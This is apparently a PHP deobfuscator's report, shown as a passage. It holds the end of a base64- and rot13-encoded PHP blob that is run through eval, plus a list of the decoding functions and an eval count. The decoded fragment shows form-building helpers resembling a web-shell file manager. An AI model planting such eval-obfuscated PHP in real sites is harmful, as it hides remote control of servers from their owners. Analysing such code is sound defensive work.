mZmJ10gPyAkbmV0WydweW5mZiddIDogJ3ZhY2hnJzt2cyAoJG5ldFsnYXJqeXZhciddKSB7YygiPGM+JG5ldFtndmd5cl08dmFjaGcgcHluZmY9XCIkbmV0W3B5bmZmXVwiIGFuenI9XCIkbmV0W2FuenJdXCIgdnE9XCIkbmV0W2FuenJdXCIgaW55aHI9XCIkbmV0W2lueWhyXVwiIGdsY3I9XCIkbmV0W2dsY3JdXCIgJG5ldFtmdm1yXSAkbmV0W3JrZ2VuXSAvPjwvYz4iKTt9IHJ5ZnIge2MoIiRuZXRbZ3ZneXJdPHZhY2hnIHB5bmZmPVwiJG5ldFtweW5mZl1cIiBhbnpyPVwiJG5ldFthbnpyXVwiIHZxPVwiJG5ldFthbnpyXVwiIGlueWhyPVwiJG5ldFtpbnlocl1cIiBnbGNyPVwiJG5ldFtnbGNyXVwiICRuZXRbZnZtcl0gJG5ldFtya2dlbl0gLz4iKTt9fXNoYXBndmJhIHpueHJmcnlycGcoJG5ldCA9IG5lZW5sKCkpe3ZzICgkbmV0WydiYXB1bmF0ciddKSB7JGJhcHVuYXRyID0gJ2JhcHVuYXRyPSInLiRuZXRbJ2JhcHVuYXRyJ10uJyInO30kbmV0Wydndmd5ciddID0gJG5ldFsnZ3ZneXInXSA/ICRuZXRbJ2d2Z3lyJ10gOiAnJzt2cyAoJG5ldFsnYXJqeXZhciddKSBjKCc8Yz4nKTtjKCIkbmV0W2d2Z3lyXSA8ZnJ5cnBnIHB5bmZmPVwidmFjaGdcIiB2cT1cIiRuZXRbYW56cl1cIiBhbnpyPVwiJG5ldFthbnpyXVwiICRiYXB1bmF0cj4iKTt2cyAodmZfbmVlbmwoJG5ldFsnYmNndmJhJ10pKSB7dnMgKCRuZXRbJ2FieHJsJ10pIHtzYmVybnB1ICgkbmV0WydiY2d2YmEnXSBuZiAkaW55aHIpIHt2cyAoJG5ldFsnZnJ5cnBncnEnXT09JGlueWhyKSB7YygiPGJjZ3ZiYSBpbnlocj1cIiRpbnloclwiIGZyeXJwZ3JxPiRpbnlocjwvYmNndmJhPiIpO30gcnlmciB7YygiPGJjZ3ZiYSBpbnlocj1cIiRpbnloclwiPiRpbnlocjwvYmNndmJhPiIpO319fSByeWZyIHtzYmVybnB1ICgkbmV0WydiY2d2YmEnXSBuZiAkeHJsPT4kaW55aHIpIHt2cyAoJG5ldFsnZnJ5cnBncnEnXT09JHhybCkge2MoIjxiY2d2YmEgaW55aHI9XCIkeHJsXCIgZnJ5cnBncnE+JGlueWhyPC9iY2d2YmE+Iik7fSByeWZyIHtjKCI8YmNndmJhIGlueWhyPVwiJHhybFwiPiRpbnlocjwvYmNndmJhPiIpO319fX1jKCI8L2ZyeXJwZz4iKTt2cyAoJG5ldFsnYXJqeXZhciddKSBjKCc8L2M+Jyk7fXNoYXBndmJhIHNiZXp1cm5xKCRuZXQgPSBuZWVubCgpKSB7dHlib255ICRmcnlzOyEkbmV0Wyd6cmd1YnEnXSAmJiAkbmV0Wyd6cmd1YnEnXSA9ICdjYmZnJzshJG5ldFsnbnBndmJhJ10gJiYgJG5ldFsnbnBndmJhJ10gPSAkZnJ5czskbmV0WydnbmV0cmcnXSA9ICRuZXRbJ2duZXRyZyddID8gImduZXRyZz1cIiRuZXRbZ25ldHJnXVwiIiA6ICcnOyEkbmV0WydhbnpyJ10gJiYgJG5ldFsnYW56ciddID0gJ3NiZXoxJztjKCI8c2JleiBhbnpyPVwiJG5ldFthbnpyXVwiIHZxPVwiJG5ldFthbnpyXVwiIG5wZ3ZiYT1cIiRuZXRbbnBndmJhXVwiIHpyZ3VicT1cIiRuZXRbenJndWJxXVwiICRuZXRbZ25ldHJnXT4iKTt2cyAoJG5ldFsnZ3ZneXInXSkge2MoJzx1Mj4nLiRuZXRbJ2d2Z3lyJ10uJyAmZW5kaGI7PC91Mj4nKTt9fXNoYXBndmJhIHpueHJncmtnKCRuZXQgPSBuZWVubCgpKXshJG5ldFsncGJ5ZiddICYmICRuZXRbJ3BieWYnXSA9IDEwMDshJG5ldFsnZWJqZiddICYmICRuZXRbJ2ViamYnXSA9IDI1OyRuZXRbJ2d2Z3lyJ10gPSAkbmV0Wydndmd5ciddID8gJG5ldFsnZ3ZneXInXS4nPG9lIC8+JyA6ICcnO2MoIjxjPiRuZXRbZ3ZneXJdPGdya2duZXJuIHB5bmZmPVwibmVyblwiIHZxPVwiJG5ldFthbnpyXVwiIGFuenI9XCIkbmV0W2FuenJdXCIgcGJ5Zj1cIiRuZXRbcGJ5Zl1cIiBlYmpmPVwiJG5ldFtlYmpmXVwiICRuZXRbcmtnZW5dPiRuZXRbaW55aHJdPC9ncmtnbmVybj48L2M+Iik7fXNoYXBndmJhIHNiZXpzYmJncmUoJGFuenIgPSAnJyl7ISRhbnpyICYmICRhbnpyID0gJ2Zob3p2Zyc7YygnPGM+PHZhY2hnIHB5bmZmPSJvZyIgYW56cj0iJy4kYW56ci4nIiB2cT0iJy4kYW56ci4nIiBnbGNyPSJmaG96dmciIGlueWhyPSJSYWl2bmUiPjwvYz4nKTtjKCc8L3NiZXo+Jyk7fXNoYXBndmJhIHRib25weCgpe3R5Ym9ueSAkZnJ5cywgJGFiamNuZ3U7YygnPHNiZXogbnBndmJhPSInLiRmcnlzLiciIHpyZ3VicT0iY2JmZyI+PHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0ibnBndmJhIiBpbnlocj0ic3Z5ciIgLz48dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJxdmUiIGlueWhyPSInLiRhYmpjbmd1LiciIC8+PGM+PHZhY2hnIHB5bmZmPSJvZyIgZ2xjcj0iZmhvenZnIiBpbnlocj0iRXJ0ZXJmbmUuLi4iPjwvYz48L3NiZXo+Jyk7fXNoYXBndmJhIHNiZXpzYmJnKCl7YygnPC9zYmV6PicpO31zaGFwZ3ZiYSBjZSgkbikge3JwdWIgJzxjZXI+JztjZXZhZ19lKCRuKTtycHViICc8L2Nlcj4nO30='))); ?>

Function Calls

str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 c434748c9e47c4e0e02f49c60a3cb6a3
Eval Count 1
Decode Time 269 ms